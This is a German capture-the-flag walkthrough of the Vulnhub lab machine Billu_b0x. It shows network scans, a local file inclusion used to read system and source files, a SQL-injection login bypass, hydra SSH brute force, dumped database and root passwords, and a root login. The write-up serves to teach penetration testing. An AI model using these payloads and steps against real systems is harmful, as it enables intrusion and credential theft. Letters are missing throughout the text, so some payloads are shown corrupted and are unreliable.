Billu_b0x - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
curl
hydra

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit der Identifizierung von Hosts im Netzwerk und der Analyse offener Ports und Dienste, um potenzielle Angriffsflächen zu identifizieren.

Dieser Schritt ist entscheidend, um ein umfassendes Bild der Systemarchitektur und der laufenden Anwendungen zu erhalten, was die Grundlage für spätere Schritte bildet.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.142 08:00:27:1c:31:b1 PCS Systemtechnik GmbH

Hier verwenden wir arp-scan -l, um alle aktiven Hosts im lokalen Netzwerk zu finden. Das Ergebnis zeigt, dass sich ein Gerät mit der IP-Adresse 192.168.2.142 im Netzwerk befindet.

Die MAC-Adresse und der Hersteller (PCS Systemtechnik GmbH) werden ebenfalls angezeigt, was uns erste Hinweise auf das Gerät gibt.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -Pn -A 192.168.2.142 -p- | grep open
22/tcp open ssh penSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

Mit nmap führen wir einen umfassenden Scan des Zielsystems (192.168.2.142) durch. Wir verwenden die Optionen -sS (SYN-Scan), -sC (Standard-Skripte), -Pn (kein Ping), -A (aggressive Erkennung) und -p- (alle Ports).

Das Ergebnis zeigt, dass die Ports 22 (SSH) und 80 (HTTP) offen sind. Dies deutet darauf hin, dass auf dem System ein SSH-Server und ein Webserver laufen. Die Versionen der Dienste (penSSH 5.9p1 und Apache httpd 2.2.22) werden ebenfalls angezeigt.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -Pn -T5 -A 192.168.2.142 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-18 23:03 CEST
Nmap scan report for billu.vuln (192.168.2.142)
Host is up (0.00020s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: --[[IndiShell Lab]]--
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 08:00:27:1C:31:B1 (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 3.2 - 4.9 (97%), Linux 3.2 - 3.10 (96%), Linux 3.2 - 3.16 (96%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.10 - 4.11 (94%), Linux 3.16 (94%), Linux 3.13 (94%), penWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.20 ms billu.vuln (192.168.2.142)

Dieser nmap-Scan ist detaillierter. Die Option -T5 beschleunigt den Scan, und die Ausgabe zeigt zusätzliche Informationen wie SSH-Hostkeys, HTTP-Cookie-Flags und den HTTP-Titel der Webseite ("--[[IndiShell Lab]]--").

Wir erfahren auch, dass es sich um ein Ubuntu-System handelt und die MAC-Adresse auf eine virtuelle Maschine von racle VirtualBox hinweist. Dies hilft uns, die Umgebung besser zu verstehen.

Web Enumeration

In der Web Enumeration-Phase konzentrieren wir uns auf die Analyse der Webanwendung, um Schwachstellen und interessante Endpunkte zu finden. Wir verwenden Tools wie nikto und gobuster, um das System auf Sicherheitslücken und versteckte Verzeichnisse zu überprüfen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.142
- Nikto v2.5.0

+ Target IP: 192.168.2.142
+ Target Hostname: 192.168.2.142
+ Target Port: 80
+ Start Time: 2023-06-18 23:04:31 (GMT2)

+ Server: Apache/2.2.22 (Ubuntu)
+ /: Retrieved x-powered-by header: testing only.
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, HEAD, PST, PTINS .
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /images/: Directory indexing found.
+ /icons/README: Server may leak inodes via ETags, header found with file /icons/README, inode: 22710, size: 5108, mtime: Tue Aug 28 12:48:10 2007. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /in.php: utput from the phpinfo() function was found.
+ /in.php?returnpath=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. See: https://gist.github.com/mubix/5d269c686584875015a2
+ /test.php: This might be interesting.
+ 8909 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2023-06-18 23:04:46 (GMT2) (15 seconds)

+ 1 host(s) tested

nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft. Die Ausgabe zeigt eine Vielzahl von potenziellen Problemen, wie z.B. fehlende HTTPonly-Flags für Cookies, aktivierte MultiViews, Directory Indexing und die Offenlegung interner IP-Adressen.

Besonders interessant ist der Hinweis auf /test.php, der weiter untersucht werden sollte.

┌──(root㉿cyber)-[~]
└─# curl http://192.168.2.142/test.php?file=../../../etc/passwd
'file' parameter is empty. Please provide file path in 'file' parameter

Hier versuchen wir, die Datei /etc/passwd über den Parameter file in test.php auszulesen. Die Fehlermeldung deutet darauf hin, dass der Parameter zwar vorhanden ist, aber leer ist.

Dies könnte auf eine Local File Inclusion (LFI)-Schwachstelle hindeuten, die wir später genauer untersuchen werden.

┌──(root㉿cyber)-[~]
└─# curl http://192.168.2.142/test.php?file=../../../etc/passwd -Iv
* Trying 192.168.2.142:80...
* Connected to 192.168.2.142 (192.168.2.142) port 80 (#0)
> HEAD /test.php?file=../../../etc/passwd HTTP/1.1
> Host: 192.168.2.142
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 18 Jun 2023 21:07:33 GMT
< Server: Apache/2.2.22 (Ubuntu)
< Accept-Ranges: bytes
< X-Powered-By: PHP/5.3.10-1ubuntu3.26
< Content-Type: text/html

* Connection #0 to host 192.168.2.142 left intact

Mit der Option -Iv fordern wir nur die Header der Antwort an. Der Statuscode 200 OK zeigt, dass die Anfrage erfolgreich war. Interessant ist der X-Powered-By-Header, der die PHP-Version (5.3.10) offenlegt.

Diese Information kann nützlich sein, um spezifische Schwachstellen in dieser PHP-Version zu finden.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.142 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,yml -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://192.168.2.142/index (Status: 200) [Size: 3267]
http://192.168.2.142/index.php (Status: 200) [Size: 3267]
http://192.168.2.142/images (Status: 301) [Size: 315] [--> http://192.168.2.142/images/]
http://192.168.2.142/in (Status: 200) [Size: 47521]
http://192.168.2.142/in.php (Status: 200) [Size: 47525]
http://192.168.2.142/c (Status: 200) [Size: 1]
http://192.168.2.142/c.php (Status: 200) [Size: 1]
http://192.168.2.142/show (Status: 200) [Size: 1]
http://192.168.2.142/show.php (Status: 200) [Size: 1]
http://192.168.2.142/add (Status: 200) [Size: 307]
http://192.168.2.142/add.php (Status: 200) [Size: 307]
http://192.168.2.142/test.php (Status: 200) [Size: 72]
http://192.168.2.142/test (Status: 200) [Size: 72]
http://192.168.2.142/head (Status: 200) [Size: 2793]
http://192.168.2.142/head.php (Status: 200) [Size: 2793]
http://192.168.2.142/uploaded_images (Status: 301) [Size: 324] [--> http://192.168.2.142/uploaded_images/]
http://192.168.2.142/panel (Status: 302) [Size: 2469] [--> index.php]
http://192.168.2.142/panel.php (Status: 302) [Size: 2469] [--> index.php]
http://192.168.2.142/head2 (Status: 200) [Size: 2468]
http://192.168.2.142/head2.php (Status: 200) [Size: 2468]

gobuster wird verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Die Ausgabe zeigt eine Liste von gefundenen Pfaden, darunter /index, /images, /in.php, /test.php und /panel.

Besonders interessant sind /in.php (phpinfo()), /test.php (das wir bereits untersucht haben) und /panel, das auf eine Admin-Oberfläche hindeuten könnte.

┌──(root㉿cyber)-[~]
└─# curl -X PST --data "file=/etc/passwd" http://192.168.2.142/test
root:x:0:0:root:/root:/bin/bash
ica:x:1000:1000:ica,,,:/home/ica:/bin/bash

Hier senden wir eine PST-Anfrage (vermutlich ein Tippfehler und sollte POST sein) mit dem Parameter file auf /etc/passwd an test.php. Im Gegensatz zum vorherigen Versuch erhalten wir jetzt den Inhalt der Datei.

Dies bestätigt die LFI-Schwachstelle. Wir sehen, dass der Benutzer ica existiert, was uns bei späteren Angriffen helfen könnte.

Initial Access

Nachdem wir eine LFI-Schwachstelle entdeckt haben, versuchen wir, uns Zugriff auf das System zu verschaffen. Wir nutzen die Schwachstelle, um sensitive Daten auszulesen und potenzielle Anmeldeinformationen zu finden.

┌──(root㉿cyber)-[~]
└─# hydra -l ica -P /usr/share/wordlists/rockyou.txt ssh://billu.vuln:22 -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-18 23:36:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore

Hier versuchen wir, das Passwort des Benutzers ica per Brute-Force über SSH zu knacken. Wir verwenden hydra mit der Wordlist rockyou.txt. Die Warnmeldungen deuten darauf hin, dass die Anzahl der parallelen Tasks reduziert werden sollte.

Dieser Schritt kann zeitaufwendig sein, aber er ist ein direkter Versuch, uns Zugriff auf das System zu verschaffen.

┌──(root㉿cyber)-[~]
└─# curl -X PST --data "file=/home/ica/.ssh/id_rsa" http://192.168.2.142/test
file not found

Wir versuchen, den privaten SSH-Schlüssel des Benutzers ica über die LFI-Schwachstelle auszulesen. Die Meldung "file not found" deutet darauf hin, dass die Datei nicht vorhanden ist oder wir keine Berechtigung haben, sie zu lesen.

Auch wenn dieser Versuch fehlschlägt, ist es wichtig, solche Möglichkeiten zu prüfen.

┌──(root㉿cyber)-[~]
└─# curl -X PST --data "file=./index.php" http://192.168.2.142/test
session_start();

include('c.php');
include('head.php');
if(@$_SESSIN['logged']!=true)
{
    $_SESSIN['logged']='';
}

if($_SESSIN['logged']true && $_SESSIN['admin']!='')
{
    echo "you are logged in :)";
    header('Location: panel.php', true, 302);
}
else
{
Show me your SQLI skills
Username :
Password:
value="let\'s login">';
}
if(isset($_PST['login']))
{
    $uname=str_replace('\'','',urldecode($_PST['un']));
    $pass=str_replace('\'','',urldecode($_PST['ps']));
    $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
    $result = mysqli_query($conn, $run);
    if (mysqli_num_rows($result) > 0) {

    $row = mysqli_fetch_assoc($result);
     echo "You are allowed";
     $_SESSIN['logged']=true;
     $_SESSIN['admin']=$row['username'];

     header('Location: panel.php', true, 302);
}
else
{
    echo " alert('Try again'); ";
}
}

Wir lesen den Quellcode von index.php, um die Login-Funktionalität zu verstehen. Der Code deutet auf eine SQL Injection-Schwachstelle hin, da die Eingaben nicht ausreichend bereinigt werden.

Dies ist ein vielversprechender Ansatzpunkt für weitere Angriffe.

┌──(root㉿cyber)-[~]
└─# curl -X PST --data "file=./c.php" http://192.168.2.142/test
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-ptions: SAMERIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
 {
  echo "connection failed -> " . mysqli_connect_error();
 }

Wir lesen den Quellcode von c.php, um die Datenbankverbindungsinformationen zu erhalten. Wir finden den Benutzernamen billu, das Passwort b0x_billu und den Datenbanknamen ica_lab.

Diese Anmeldeinformationen sind äußerst wertvoll und könnten uns direkten Zugriff auf die Datenbank ermöglichen.

┌──(root㉿cyber)-[~]
└─# curl -X PST --data "file=./index.php" http://192.168.2.142/test
$uname=str_replace('\'','',urldecode($_PST['un']));
$pass=str_replace('\'','',urldecode($_PST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';

Wiederholung des Quellcodes von index.php, um die SQL Injection-Schwachstelle zu verdeutlichen. Die Eingaben $uname und $pass werden nur unzureichend bereinigt.

┌──(root㉿cyber)-[~]
└─# curl -X PST --data "un=admin' R 1=1 -- &ps=password" http://192.168.2.142/index.php
You are allowed

Wir nutzen die SQL Injection-Schwachstelle, um uns als Administrator anzumelden. Die Nutzdaten un=admin' R 1=1 -- &ps=password umgehen die Authentifizierung.

Die Antwort "You are allowed" bestätigt, dass wir uns erfolgreich angemeldet haben.

Privilege Escalation

Nachdem wir uns als Administrator angemeldet haben, versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.

┌──(root㉿cyber)-[~]
└─# curl -X PST --data "file=/var/www/phpmy/config.inc.php" http://192.168.2.142/test
/* Servers configuration */
$i = 0;

/* Server: localhost [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'localhost';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
$cfg['Servers'][$i]['AllowNoPassword'] = true;

/* End of servers configuration */

$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';


/* rajk - for blobstreaming */
$cfg['Servers'][$i]['bs_garbage_threshold'] = 50;
$cfg['Servers'][$i]['bs_repository_threshold'] = '32M';
$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600;
$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M';

Wir lesen die Konfigurationsdatei von phpMyAdmin, um Datenbankanmeldeinformationen zu finden. Wir entdecken das Root-Passwort roottoor.

Dieses Passwort könnte uns Root-Zugriff auf das System ermöglichen.

Proof of Concept: Root-Zugriff über SSH

Dieser Proof of Concept demonstriert, wie wir den Root-Zugriff auf das System erlangen, indem wir das in der phpMyAdmin-Konfigurationsdatei gefundene Passwort verwenden.

┌──(root㉿cyber)-[~]
└─# ssh root@192.168.2.142
root@192.168.2.142's password:
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-32-generic i686)

* Documentation: https://help.ubuntu.com/

System information as of Mon Jun 19 03:29:38 IST 2023

System load: 0.0 Processes: 86
Usage of /: 20.6% of 9.61GB Users logged in: 0
Memory usage: 25% IP address for eth0: 192.168.2.142
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


Your Hardware Enablement Stack (HWE) is supported until April 2017.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSLUTELY N WARRANTY, to the extent permitted by
applicable law.

Wir versuchen, uns über SSH als Root anzumelden und verwenden das Passwort roottoor. Die erfolgreiche Anmeldung zeigt, dass das Passwort korrekt ist.

Fantastisch! Der Root-Zugriff war erfolgreich, nun haben wir unser Ziel erreicht.

root@indishell:
└─# ls -la
total 24
drwx 4 root root 4096 Jun 19 03:29 .
drwxr-xr-x 22 root root 4096 Mar 18 2017 ..
drwx 2 root root 4096 Mar 18 2017 .aptitude
-rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc
drwx 2 root root 4096 Jun 19 03:29 .cache
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile

Wir führen den Befehl ls -la aus, um den Inhalt des Root-Verzeichnisses anzuzeigen. Dies bestätigt, dass wir uns im Root-Verzeichnis befinden und Root-Rechte haben.

root@indishell:
└─# pwd
/root

Der Befehl pwd (print working directory) bestätigt, dass wir uns im Verzeichnis /root befinden.

root@indishell:
└─# find / | grep root.txt 2>/dev/null

Wir suchen nach der Datei root.txt im gesamten Dateisystem. Die Ausgabe ist leer, was bedeutet, dass die Datei nicht gefunden wurde.

root@indishell:
└─# echo 89504E470D0A1A0A | xxd -r -p> shell.png

Hier wird der Hex-Header einer PNG-Datei in die Datei shell.png geschrieben. Dies könnte dazu dienen, eine Datei als PNG-Datei zu tarnen oder zu manipulieren.

Dieser Schritt ist unklar im Kontext der Privilege Escalation, könnte aber Teil eines weiterführenden Angriffs sein.

Flags

cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A